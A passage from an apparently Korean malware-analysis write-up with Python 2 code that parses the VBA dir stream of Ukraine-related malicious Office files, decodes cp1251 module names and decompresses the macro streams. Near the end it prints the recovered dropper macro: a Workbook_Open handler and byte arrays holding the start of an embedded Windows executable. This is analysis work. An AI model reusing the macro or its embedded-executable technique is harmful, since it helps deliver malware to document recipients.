        self.SIZE = 0

    def parseReferenceRegistered(self, data, offset):
        MEMBER_NAME = ("Ref_Reg_Id Size SizeOfLibid Libid Reserved1 Reserved2")
        MEMBER_PATTERN = "=1H2L%ds1L1H" % (read32(data, offset + 6))
        size = MapSize(MEMBER_PATTERN)
        self.SIZE += size
        ReferenceRegistered = Map("ReferenceRegistered", data[offset:offset + size], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkReferenceRegistered(ReferenceRegistered)

    def parseReferenceRegisteredEx(self, data, offset):
        return self.parseReferenceRegistered(data, offset), offset + self.SIZE

    def parse(self, data, offset):
        return self.parseReferenceRegisteredEx(data, offset)

    def _checkReferenceRegistered(self, ReferenceRegistered):
        if not (ReferenceRegistered.Ref_Reg_Id == self.Id and ReferenceRegistered.Reserved1 == self.reserved1 and 
                ReferenceRegistered.Reserved2 == self.reserved2):
            ReferenceRegistered = None

        return ReferenceRegistered

class ReferenceProject:
    # OUT : NamedTuple
    Id = 0x000E
    def __init__(self):
        self.SIZE = 0

    def parseReferenceProject(self, data, offset):
        MEMBER_NAME1 = ("Ref_Proj_Id Size SizeOfLibidAbsolute LibidAbsolute")
        MEMBER_PATTERN1 = "=1H2L%ds" % (read32(data, offset + 6))
        size = MapSize(MEMBER_PATTERN1)
        tmp1 = Map("tmp1", data[offset:offset + size], MEMBER_NAME1, MEMBER_PATTERN1)
        offset += size
        self.SIZE += size

        MEMBER_NAME2 = ("SizeOfLibidRelative LibidRelative MajorVersion MinorVersion")
        MEMBER_PATTERN2 = "=1L%ds1L1H" % (read32(data, offset))
        size = MapSize(MEMBER_PATTERN2)
        tmp2 = Map("tmp2", data[offset:offset + size], MEMBER_NAME2, MEMBER_PATTERN2)
        self.SIZE += size

        ReferenceProject = mergeNamedtuple("ReferenceProject", tmp1, tmp2)
        return self._checkReferenceProject(ReferenceProject)

    def parseReferenceProjectEx(self, data, offset):
        return self.parseReferenceProject(data, offset), offset + self.SIZE

    def parse(self, data, offset):
        return self.parseReferenceProjectEx(data, offset)

    def _checkReferenceProject(self, ReferenceProject):
        if not (ReferenceProject.Ref_Proj_Id == self.Id):
            ReferenceProject = None

        return ReferenceProject


class ReferenceName:
    # OUT : NamedTuple
    Id = 0x0016
    reserved = 0x003E
    def __init__(self):
        self.SIZE = 0

    def parseReferenceName(self, data, offset):
        MEMBER_NAME1 = ("Ref_Name_Id SizeOfName Name")
        MEMBER_PATTERN1 = "=1H1L%ds" % (read32(data, offset + 2))
        size = MapSize(MEMBER_PATTERN1)
        tmp1 = Map("tmp1", data[offset:offset + size], MEMBER_NAME1, MEMBER_PATTERN1)
        offset += size
        self.SIZE += size

        MEMBER_NAME2 = ("Reserved SizeOfNameUnicode NameUnicode")
        MEMBER_PATTERN2 = "=1H1L%ds" % (read32(data, offset + 2))
        size = MapSize(MEMBER_PATTERN2)
        tmp2 = Map("tmp2", data[offset:offset + size], MEMBER_NAME2, MEMBER_PATTERN2)
        self.SIZE += size

        ReferenceName = mergeNamedtuple("ReferenceName", tmp1, tmp2)
        return self._checkProjectReferenceName(ReferenceName)

    def parseReferenceNameEx(self, data, offset):
        return self.parseReferenceName(data, offset), offset + self.SIZE

    def _checkProjectReferenceName(self, ReferenceName):
        if not (ReferenceName.Ref_Name_Id == self.Id and ReferenceName.Reserved == self.reserved):
            ReferenceName = None

        return ReferenceName

class Reference:
    # OUT : NamedTuple
    Id = 0x000F
    def __init__(self):
        self.SIZE = 0

    def _getReferenceName(self, data, offset):
        obj = ReferenceName()
        out, offset = obj.parseReferenceNameEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getReferenceRecord(self, data, offset):
        record_type = read16(data, offset)
        if record_type in [0x002F, 0x0033]:
            obj = ReferenceControl()
        elif record_type in [0x000D]:
            obj = ReferenceRegistered()
        elif record_type in [0x000E]:
            obj = ReferenceProject()
        else:
            obj = None

        out, offset = obj.parse(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def parseReference(self, data, offset):
        NameRecord, offset = self._getReferenceName(data, offset)
        ReferenceRecord, offset = self._getReferenceRecord(data, offset)
        return newMap("Reference", ["NameRecord", "ReferenceRecord"])(NameRecord=NameRecord, ReferenceRecord=ReferenceRecord)

    def parseReferenceEx(self, data, offset):
        return self.parseReference(data, offset), offset + self.SIZE

    def isEnd(self, data, offset):
        if read16(data, offset) == self.Id:
            return True
        else:
            return False

class ProjectReferences:
    # OUT : List
    def __init__(self):
        self.SIZE = 0

    def _getReference(self, data, offset):
        obj = Reference()
        out, offset = obj.parseReferenceEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _chkEndReference(self, data, offset):
        obj = Reference()
        return obj.isEnd(data, offset)

    def parseProjectReferences(self, data, offset):
        print "[*] ReferenceRecord",

        out = []
        while offset < len(data):
            if self._chkEndReference(data, offset) == True:
                break
            tmp, offset = self._getReference(data, offset)
            out.append(tmp)
        
        return self._checkProjectReference(out)

    def parseProjectReferencesEx(self, data, offset):
        return self.parseProjectReferences(data, offset), offset + self.SIZE
    
    def _checkProjectReference(self, out):
        if len(out) == 0:
            print "..........Error"
        else:
            print "..........Done"
            
        return out

0x33. (공통) dir Stream - ProjectModules¶

class ProjectCookie:
    # OUT : NamedTuple
    Id = 0x0013
    size = 0x00000002
    def __init__(self):
        self.SIZE = 8

    def parseProjectCookie(self, data, offset):
        MEMBER_NAME = ("Proj_Cookie_Id Size Cookie")
        MEMBER_PATTERN = "=1H1L1H"
        ProjCookie = Map("ProjCookie", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkProjectCookie(ProjCookie)

    def parseProjectCookieEx(self, data, offset):
        return self.parseProjectCookie(data, offset), offset + self.SIZE

    def _checkProjectCookie(self, ProjCookie):
        if not ( ProjCookie.Proj_Cookie_Id == self.Id and ProjCookie.Size == self.size ):
            ProjCookie = None

        return ProjCookie

class ModuleName:
    # OUT : NamedTuple
    Id = 0x0019
    def __init__(self):
        self.SIZE = 0

    def Enable(self, data, offset):
        if read16(data, offset) == self.Id:
            return True
        else:
            return False

    def parseModuleName(self, data, offset):
        MEMBER_NAME = ("Mod_Name_Id SizeOfModuleName ModuleName")
        MEMBER_PATTERN = "=1H1L%ds" % read32(data, offset + 2)
        size = MapSize(MEMBER_PATTERN)
        mod_name = Map("Mod_Name", data[offset:offset + size], MEMBER_NAME, MEMBER_PATTERN)
        self.SIZE += size
        return self._checkModuleName(mod_name)

    def parseModuleNameEx(self, data, offset):
        return self.parseModuleName(data, offset), offset + self.SIZE

    def _checkModuleName(self, mod_name):
        if not ( mod_name.Mod_Name_Id == self.Id ):
            mod_name = None

        return mod_name

class ModuleNameUnicode:
    # OUT : NamedTuple
    Id = 0x0047
    def __init__(self):
        self.SIZE = 0

    def Enable(self, data, offset):
        if read16(data, offset) == self.Id:
            return True
        else:
            return False

    def parseModuleNameUnicode(self, data, offset):
        MEMBER_NAME = ("Mod_Name_Uni_Id SizeOfModuleNameUnicode ModuleNameUnicode")
        MEMBER_PATTERN = "=1H1L%ds" % read32(data, offset + 2)
        size = MapSize(MEMBER_PATTERN)
        mod_name = Map("Mod_NameUnicode", data[offset:offset + size], MEMBER_NAME, MEMBER_PATTERN)
        self.SIZE += size
        return self._checkModuleNameUnicode(mod_name)

    def parseModuleNameUnicodeEx(self, data, offset):
        return self.parseModuleNameUnicode(data, offset), offset + self.SIZE

    def _checkModuleNameUnicode(self, mod_name):
        if not ( mod_name.Mod_Name_Uni_Id == self.Id ):
            mod_name = None

        return mod_name

class ModuleStreamName:
    # OUT : NamedTuple
    Id = 0x001A
    reserved = 0x0032
    def __init__(self):
        self.SIZE = 0

    def Enable(self, data, offset):
        if read16(data, offset) == self.Id:
            return True
        else:
            return False

    def parseModuleStreamName(self, data, offset):
        MEMBER_NAME1 = ("Mod_Stream_Name_Id SizeOfStreamName StreamName")
        MEMBER_PATTERN1 = "=1H1L%ds" % read32(data, offset + 2)
        size = MapSize(MEMBER_PATTERN1)
        tmp1 = Map("tmp1", data[offset:offset + size], MEMBER_NAME1, MEMBER_PATTERN1)
        offset += size
        self.SIZE += size

        MEMBER_NAME2 = ("Reserved SizeOfStreamNameUnicode StreamNameUnicode")
        MEMBER_PATTERN2 = "=1H1L%ds" % read32(data, offset + 2)
        size = MapSize(MEMBER_PATTERN2)
        tmp2 = Map("tmp2", data[offset:offset + size], MEMBER_NAME2, MEMBER_PATTERN2)
        offset += size
        self.SIZE += size

        Mod_StreamName = mergeNamedtuple("Mod_StreamName", tmp1, tmp2)
        return self._checkModuleStreamName(Mod_StreamName)

    def parseModuleStreamNameEx(self, data, offset):
        return self.parseModuleStreamName(data, offset), offset + self.SIZE

    def _checkModuleStreamName(self, Mod_StreamName):
        if not ( Mod_StreamName.Mod_Stream_Name_Id == self.Id and Mod_StreamName.Reserved == self.reserved ):
            Mod_StreamName = None

        return Mod_StreamName

class ModuleDocString:
    # OUT : NamedTuple
    Id = 0x001C
    reserved = 0x0048
    def __init__(self):
        self.SIZE = 0

    def Enable(self, data, offset):
        if read16(data, offset) == self.Id:
            return True
        else:
            return False

    def parseModuleDocString(self, data, offset):
        MEMBER_NAME1 = ("Mod_Doc_String_Id SizeOfDocString DocString")
        MEMBER_PATTERN1 = "=1H1L%ds" % read32(data, offset + 2)
        size = MapSize(MEMBER_PATTERN1)
        tmp1 = Map("tmp1", data[offset:offset + size], MEMBER_NAME1, MEMBER_PATTERN1)
        offset += size
        self.SIZE += size

        MEMBER_NAME2 = ("Reserved SizeOfDocStringUnicode DocStringUnicode")
        MEMBER_PATTERN2 = "=1H1L%ds" % read32(data, offset + 2)
        size = MapSize(MEMBER_PATTERN2)
        tmp2 = Map("tmp2", data[offset:offset + size], MEMBER_NAME2, MEMBER_PATTERN2)
        offset += size
        self.SIZE += size

        Mod_DocString = mergeNamedtuple("Mod_DocString", tmp1, tmp2)
        return self._checkModuleDocString(Mod_DocString)

    def parseModuleDocStringEx(self, data, offset):
        return self.parseModuleDocString(data, offset), offset + self.SIZE

    def _checkModuleDocString(self, Mod_DocString):
        if not ( Mod_DocString.Mod_Doc_String_Id == self.Id and Mod_DocString.Reserved == self.reserved ):
            Mod_DocString = None

        return Mod_DocString

class ModuleOffset:
    # OUT : NamedTuple
    Id = 0x0031
    size = 0x00000004
    def __init__(self):
        self.SIZE = 10

    def Enable(self, data, offset):
        if read16(data, offset) == self.Id:
            return True
        else:
            return False

    def parseModuleOffset(self, data, offset):
        MEMBER_NAME = ("Mod_Offset_Id Mod_Offset_Size TextOffset")
        MEMBER_PATTERN = "=1H2L"
        mod_offset = Map("Mod_Offset", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkModuleOffset(mod_offset)

    def parseModuleOffsetEx(self, data, offset):
        return self.parseModuleOffset(data, offset), offset + self.SIZE

    def _checkModuleOffset(self, mod_offset):
        if not (mod_offset.Mod_Offset_Id == self.Id and mod_offset.Mod_Offset_Size == self.size):
            mod_offset = None

        return mod_offset

class ModuleHelpContext:
    # OUT : NamedTuple
    Id = 0x001E
    size = 0x00000004
    def __init__(self):
        self.SIZE = 10

    def Enable(self, data, offset):
        if read16(data, offset) == self.Id:
            return True
        else:
            return False

    def parseModuleHelpContext(self, data, offset):
        MEMBER_NAME = ("Mod_Hlp_Context_Id Mod_Hlp_Context_Size HelpContext")
        MEMBER_PATTERN = "=1H2L"
        Mod_HlpContext = Map("Mod_HlpContext", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkModuleHelpContext(Mod_HlpContext)

    def parseModuleHelpContextEx(self, data, offset):
        return self.parseModuleHelpContext(data, offset), offset + self.SIZE

    def _checkModuleHelpContext(self, Mod_HlpContext):
        if not (Mod_HlpContext.Mod_Hlp_Context_Id == self.Id and Mod_HlpContext.Mod_Hlp_Context_Size == self.size):
            Mod_HlpContext = None

        return Mod_HlpContext

class ModuleCookie:
    # OUT : NamedTuple
    Id = 0x002C
    size = 0x00000002
    cookie = 0xFFFF
    def __init__(self):
        self.SIZE = 8

    def Enable(self, data, offset):
        if read16(data, offset) == self.Id:
            return True
        else:
            return False

    def parseModuleCookie(self, data, offset):
        MEMBER_NAME = ("Mod_Cookie_Id Mod_Cookie_Size Cookie")
        MEMBER_PATTERN = "=1H2L"
        Mod_Cookie = Map("Mod_Cookie", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkModuleCookie(Mod_Cookie)

    def parseModuleCookieEx(self, data, offset):
        return self.parseModuleCookie(data, offset), offset + self.SIZE

    def _checkModuleCookie(self, Mod_Cookie):
        if not (Mod_Cookie.Mod_Cookie_Id == self.Id and Mod_Cookie.Mod_Cookie_Size == self.size and Mod_Cookie.Cookie == self.cookie):
            Mod_Cookie = None

        return Mod_Cookie

class ModuleType:
    # OUT : NamedTuple
    Id = [0x0021, 0x0022]
    reserved = 0x00000000
    def __init__(self):
        self.SIZE = 6

    def Enable(self, data, offset):
        if read16(data, offset) in self.Id:
            return True
        else:
            return False

    def parseModuleType(self, data, offset):
        MEMBER_NAME = ("Mod_Type_Id Reserved")
        MEMBER_PATTERN = "=1H1L"
        Mod_Type = Map("Mod_Type", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkModuleType(Mod_Type)

    def parseModuleTypeEx(self, data, offset):
        return self.parseModuleType(data, offset), offset + self.SIZE

    def _checkModuleType(self, Mod_Type):
        if not (Mod_Type.Reserved == self.reserved and Mod_Type.Mod_Type_Id in self.Id):
            Mod_Type = None

        return Mod_Type

class ModuleReadOnly:
    # OUT : NamedTuple
    Id = 0x0025
    reserved = 0x00000000
    def __init__(self):
        self.SIZE = 6

    def Enable(self, data, offset):
        if read16(data, offset) == self.Id:
            return True
        else:
            return False

    def parseModuleReadOnly(self, data, offset):
        MEMBER_NAME = ("Mod_RO_Id Reserved")
        MEMBER_PATTERN = "=1H1L"
        Mod_ReadOnly = Map("Mod_ReadOnly", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkModuleReadOnly(Mod_ReadOnly)

    def parseModuleReadOnlyEx(self, data, offset):
        return self.parseModuleReadOnly(data, offset), offset + self.SIZE

    def _checkModuleReadOnly(self, Mod_ReadOnly):
        if not (Mod_ReadOnly.Reserved == self.reserved and Mod_ReadOnly.Mod_RO_Id == self.Id):
            Mod_ReadOnly = None

        return Mod_ReadOnly

class ModulePrivate:
    # OUT : NamedTuple
    Id = 0x0028
    reserved = 0x00000000
    def __init__(self):
        self.SIZE = 6

    def Enable(self, data, offset):
        if read16(data, offset) == self.Id:
            return True
        else:
            return False

    def parseModulePrivate(self, data, offset):
        MEMBER_NAME = ("Mod_Private_Id Reserved")
        MEMBER_PATTERN = "=1H1L"
        Mod_Private = Map("Mod_Private", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkModulePrivate(Mod_Private)

    def parseModulePrivateEx(self, data, offset):
        return self.parseModulePrivate(data, offset), offset + self.SIZE

    def _checkModulePrivate(self, Mod_Private):
        if not (Mod_Private.Reserved == self.reserved and Mod_Private.Mod_Private_Id == self.Id):
            Mod_Private = None

        return Mod_Private

class Module:
    terminator = 0x002B
    reserved = 0x00000000
    def __init__(self):
        self.SIZE = 0

    def _getModuleName(self, data, offset):
        out = None

        obj = ModuleName()
        if obj.Enable(data, offset) == True:
            out, offset = obj.parseModuleNameEx(data, offset)
            self.SIZE += obj.SIZE
        return out, offset

    def _getModuleNameUnicode(self, data, offset):
        out = None

        obj = ModuleNameUnicode()
        if obj.Enable(data, offset) == True:
            out, offset = obj.parseModuleNameUnicodeEx(data, offset)
            self.SIZE += obj.SIZE
        return out, offset

    def _getModuleStreamName(self, data, offset):
        out = None

        obj = ModuleStreamName()
        if obj.Enable(data, offset) == True:
            out, offset = obj.parseModuleStreamNameEx(data, offset)
            self.SIZE += obj.SIZE
        return out, offset

    def _getModuleDocString(self, data, offset):
        out = None

        obj = ModuleDocString()
        if obj.Enable(data, offset) == True:
            out, offset = obj.parseModuleDocStringEx(data, offset)
            self.SIZE += obj.SIZE
        return out, offset

    def _getModuleOffset(self, data, offset):
        out = None

        obj = ModuleOffset()
        if obj.Enable(data, offset) == True:
            out, offset = obj.parseModuleOffsetEx(data, offset)
            self.SIZE += obj.SIZE
        return out, offset

    def _getModuleHelpContext(self, data, offset):
        out = None

        obj = ModuleHelpContext()
        if obj.Enable(data, offset) == True:
            out, offset = obj.parseModuleHelpContextEx(data, offset)
            self.SIZE += obj.SIZE
        return out, offset

    def _getModuleCookie(self, data, offset):
        out = None

        obj = ModuleCookie()
        if obj.Enable(data, offset) == True:
            out, offset = obj.parseModuleCookieEx(data, offset)
            self.SIZE += obj.SIZE
        return out, offset

    def _getModuleType(self, data, offset):
        out = None

        obj = ModuleType()
        if obj.Enable(data, offset) == True:
            out, offset = obj.parseModuleTypeEx(data, offset)
            self.SIZE += obj.SIZE
        return out, offset

    def _getModuleReadOnly(self, data, offset):
        out = None

        obj = ModuleReadOnly()
        if obj.Enable(data, offset) == True:
            out, offset = obj.parseModuleReadOnlyEx(data, offset)
            self.SIZE += obj.SIZE
        return out, offset

    def _getModulePrivate(self, data, offset):
        out = None

        obj = ModulePrivate()
        if obj.Enable(data, offset) == True:
            out, offset = obj.parseModulePrivateEx(data, offset)
            self.SIZE += obj.SIZE
        return out, offset

    def parseModule(self, data, offset):
        Modules = newMap("Modules", [])()

        NameRecord, offset = self._getModuleName(data, offset)
        if NameRecord != None:
            Modules = addNamedtuple("Modules", Modules, "NameRecord", NameRecord)

        NameUnicodeRecord, offset = self._getModuleNameUnicode(data, offset)
        if NameUnicodeRecord != None:
            Modules = addNamedtuple("Modules", Modules, "NameUnicodeRecord", NameUnicodeRecord)

        StreamNameRecord, offset = self._getModuleStreamName(data, offset)
        if StreamNameRecord != None:
            Modules = addNamedtuple("Modules", Modules, "StreamNameRecord", StreamNameRecord)

        DocStringRecord, offset = self._getModuleDocString(data, offset)
        if DocStringRecord != None:
            Modules = addNamedtuple("Modules", Modules, "DocStringRecord", DocStringRecord)

        OffsetRecord, offset = self._getModuleOffset(data, offset)
        if OffsetRecord != None:
            Modules = addNamedtuple("Modules", Modules, "OffsetRecord", OffsetRecord)

        HelpContextRecord, offset = self._getModuleHelpContext(data, offset)
        if HelpContextRecord != None:
            Modules = addNamedtuple("Modules", Modules, "HelpContextRecord", HelpContextRecord)

        CookieRecord, offset = self._getModuleCookie(data, offset)
        if CookieRecord != None:
            Modules = addNamedtuple("Modules", Modules, "CookieRecord", CookieRecord)

        TypeRecord, offset = self._getModuleType(data, offset)
        if TypeRecord != None:
            Modules = addNamedtuple("Modules", Modules, "TypeRecord", TypeRecord)

        ReadOnlyRecord, offset = self._getModuleReadOnly(data, offset)
        if ReadOnlyRecord != None:
            Modules = addNamedtuple("Modules", Modules, "ReadOnlyRecord", ReadOnlyRecord)

        PrivateRecord, offset = self._getModulePrivate(data, offset)
        if PrivateRecord != None:
            Modules = addNamedtuple("Modules", Modules, "PrivateRecord", PrivateRecord)

        Terminator, offset = read16Ex(data, offset)
        Modules = addNamedtuple("Modules", Modules, "Terminator", Terminator)
        self.SIZE += 2

        Reserved = read32(data, offset)
        Modules = addNamedtuple("Modules", Modules, "Reserved", Reserved)
        self.SIZE += 4

        return self._checkModule(Modules)

    def parseModuleEx(self, data, offset):
        return self.parseModule(data, offset), offset + self.SIZE

    def _checkModule(self, Modules):
        if not ( Modules.Terminator == self.terminator and Modules.Reserved == self.reserved ):
            Modules = None

        return Modules

class ProjectModules:
    Id = 0x000F
    def __init__(self):
        self.SIZE = 0

    def _getProjectCookie(self, data, offset):
        obj = ProjectCookie()
        out, offset = obj.parseProjectCookieEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getModule(self, data, offset):
        obj = Module()
        out, offset = obj.parseModuleEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def parseProjectModules(self, data, offset):
        print "[*] ModulesRecord",

        MEMBER_NAME = ("Proj_Mod_Id Proj_Mod_Size Count")
        MEMBER_PATTERN = "=1H1L1H"
        size = MapSize(MEMBER_PATTERN)
        tmp1 = Map("tmp1", data[offset:offset + size], MEMBER_NAME, MEMBER_PATTERN)
        offset += size
        self.SIZE += size

        ProjectCookie, offset = self._getProjectCookie(data, offset)
        tmp2 = addNamedtuple("tmp2", tmp1, "ProjectCookieRecord", ProjectCookie)

        Modules = []
        for i in xrange(tmp1.Count):
            mod, offset = self._getModule(data, offset)
            Modules.append(mod)

        ProjModules = addNamedtuple("ProjModules", tmp2, "Modules", Modules)
        return self._checkProjectModules(ProjModules)

    def parseProjectModulesEx(self, data, offset):
        return self.parseProjectModules(data, offset), offset + self.SIZE

    def _checkProjectModules(self, ProjModules):
        if not ( ProjModules.Proj_Mod_Id == self.Id and ProjModules.Proj_Mod_Size == 0x00000002 ):
            ProjModules = None
            print "..........Error"
        else:
            print "..........Done"
            
        return ProjModules

def getProjectInformation(data, offset):
    obj = ProjectInformation()
    return obj.parseProjectInformationEx(data, offset)

def getProjectReferences(data, offset):
    obj = ProjectReferences()
    return obj.parseProjectReferencesEx(data, offset)

def getProjectModules(data, offset):
    obj = ProjectModules()
    return obj.parseProjectModulesEx(data, offset)

def PrintLog(dirStream):
    print "[Info] Project Name : %s" % dirStream.InformationRecord.NameRecord.ProjectName
    reference = dirStream.ReferencesRecord
    for i in xrange(len(reference)):
        print "[Info] Reference : %s" % (reference[i].NameRecord.Name)

    modules = dirStream.ModulesRecord.Modules
    for mod in modules:
        name = mod.NameRecord.ModuleName
        offset = mod.OffsetRecord.TextOffset
        print "[Info] Modules Name : %s (Offset : 0x%x)" % (name, offset)
            
print "[*] Parse dir Stream "

offset = 0
infoRecord, offset = getProjectInformation(dec_stream, offset)
refRecord, offset = getProjectReferences(dec_stream, offset)
modRecord, offset = getProjectModules(dec_stream, offset)
terminator, offset = read16Ex(dec_stream, offset)
reserved, offset = read32Ex(dec_stream, offset)

dirStream = newMap("dirStream", ["InformationRecord", "ReferencesRecord", "ModulesRecord", "Terminator", "Reserved"])
dirStream = dirStream(InformationRecord=infoRecord, ReferencesRecord=refRecord, ModulesRecord=modRecord, Terminator=terminator, 
                      Reserved=reserved)

if offset != len(dec_stream):
    print "[*] [ERROR] dirStream.parse() is not complete"
print ""

PrintLog(dirStream)

[*] Parse dir Stream 
[*] InformationRecord ..........Done
[*] ReferenceRecord ..........Done
[*] ModulesRecord ..........Done

[Info] Project Name : VBAProject
[Info] Reference : stdole
[Info] Reference : Office
[Info] Modules Name : �������� (Offset : 0x3eac9)
[Info] Modules Name : ����1 (Offset : 0x325)
[Info] Modules Name : ����2 (Offset : 0x325)
[Info] Modules Name : ����3 (Offset : 0x325)

dir Stream을 분석한 결과 VBA Project와 관련된 모듈명을 확인할 수 있었다. 하지만 Unicode 타입이고 실제 SSView 등으로 확인해 보면 러시아어임에 따라 단순히 2Bytes 단위 Unicode로 읽어들일 경우 알 수 없는 문자로 표기된다. 따라서 CodePage로 Decode를 수행하면 우리가 알고 싶어하는 문자열을 확인할 수 있다. ("CodePage" 란 문자열 인코딩시 사용하는 값으로 한글의 경우 cp949로 정의되어 있다. 이때 cp가 "CodePage"의 약자이다.)

code_page = dirStream.InformationRecord.CodePageRecord.CodePage
codec = "cp%d" % code_page
print "[Codec] %s" % codec

def PrintLog2(dirStream):
    print "[Info] Project Name : %s" % dirStream.InformationRecord.NameRecord.ProjectName
    reference = dirStream.ReferencesRecord
    for i in xrange(len(reference)):
        print "[Info] Reference : %s" % (reference[i].NameRecord.Name)

    modules = dirStream.ModulesRecord.Modules
    for mod in modules:
        name = mod.NameRecord.ModuleName
        offset = mod.OffsetRecord.TextOffset
        print "[Info] Modules Name : %s (Offset : 0x%x)" % (name.decode(codec), offset)

PrintLog2(dirStream)

[Codec] cp1251
[Info] Project Name : VBAProject
[Info] Reference : stdole
[Info] Reference : Office
[Info] Modules Name : ЭтаКнига (Offset : 0x3eac9)
[Info] Modules Name : Лист1 (Offset : 0x325)
[Info] Modules Name : Лист2 (Offset : 0x325)
[Info] Modules Name : Лист3 (Offset : 0x325)

0x40. Module Stream¶

Module Stream은 dir Stream을 통해 확인할 수 있는 하위 Module을 의미한다. Module Stream에 대한 정보는 상위에서 언급한 것과 같이 dir Stream내에 존재하게 된다. 분석 대상이 된 우크라이나 관련 VBA 악성코드의 경우 DOC와 XLS 두가지가 존재하고 "0x20. 악성 문서 파일 내에 존재하는 매크로 "에서 언급한 것과 같이 각각 별도의 Module Stream 내에 악성 동작이 삽입되어 있다. 하지만 각각의 Stream 모두 Module Stream에 해당하기 때문에 Stream의 고유 이름만 다를 뿐 그 내부 구조는 동일한 형태를 갖는다.

class moduleStream:
    def __init__(self, mod_dir, name, offset):
        self.mod_dir = mod_dir
        self.fname = name
        self.start_offset = offset
        self.fullname = self.mod_dir + os.sep + self.fname + ".stream"
        self.data = file(self.fullname, "rb").read()
        
    def parse(self):
        out = None
        
        if len(self.data) == 0:
            print "[ERROR] %s : Read Failed" % self.fname
            return out
        
        print "[*] Start"
        print "[*] File Name : %s" % self.fname

        print "[*] Decoded..........",
        out = olevba.decompress_stream(self.data[self.start_offset:])
        print "Done\n"          
        
        return out


mod_dir = r"C:\Users\amanaksu\Dropbox\Public\Blog\Ukraine\sample"
sub_dir = ["xls", "doc"]

result = []
modules = dirStream.ModulesRecord.Modules
for mod in modules:
    name = mod.NameRecord.ModuleName.decode(codec)
    for sub in sub_dir:
        tmp = os.path.join(mod_dir, os.path.join(sub, "%s.stream" % name))
        if os.path.isfile(tmp) == True:
            mod_dir = mod_dir + os.sep + sub
            break
        
    offset = mod.OffsetRecord.TextOffset
    obj = moduleStream(mod_dir, name, offset)
    out = obj.parse()

    result.append(out)

[*] Start
[*] File Name : ЭтаКнига
[*] Decoded.......... Done

[*] Start
[*] File Name : Лист1
[*] Decoded.......... Done

[*] Start
[*] File Name : Лист2
[*] Decoded.......... Done

[*] Start
[*] File Name : Лист3
[*] Decoded.......... Done

# for out in result:
#     print out.decode(codec)
# print result[-1].decode(codec)
print result[0].decode(codec)

Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private a(468) As Variant
Private Sub Workbook_Open()
    
    
    Range("A7:L23").Delete
    Down
End Sub

Private Sub Init0()
    a(1) = Array(77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0, 0, 0)
    a(2) = Array(137, 178, 153, 36, 205, 211, 247, 119, 205, 211, 247, 119, 205, 211, 247, 119, 94, 157, 111, 119, 204, 211, 247, 119, 214, 78, 92, 119, 219, 211, 247, 119, 214, 78, 105, 119, 195, 211, 247, 119, 214, 78, 93, 119, 169, 211, 247, 119, 196, 171, 115, 119, 204, 211, 247, 119, 196, 171, 116, 119, 207, 211, 247, 119, 196, 171, 100, 119, 220, 211, 247, 119, 205, 211, 246, 119, 175, 211, 247, 119, 214, 78, 88, 119, 204, 211, 247, 119, 214, 78, 106, 119, 204, 211, 247, 119, 82, 105, 99, 104, 205, 211, 247, 119, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
    a(3) = Array(80, 69, 0, 0, 76, 1, 5, 0, 118, 224, 213, 65, 0, 0, 0, 0, 0, 0, 0, 0, 224, 0, 2, 1, 11, 1, 10, 0, 0, 146, 0, 0, 0, 84, 0, 0, 0, 0, 0, 0, 192, 44, 0, 0, 0, 16, 0, 0, 0, 176, 0, 0, 0, 0, 64, 0, 0, 16, 0, 0, 0, 2, 0, 0, 5, 0, 1, 0, 0, 0, 0, 0, 5, 0, 1, 0, 0, 0, 0, 0, 0, 64, 1, 0, 0, 4, 0, 0, 230, 190, 1, 0, 2, 0, 64, 129, 0, 0, 16, 0, 0, 16, 0, 0, 0, 0, 16, 0, 0, 16, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
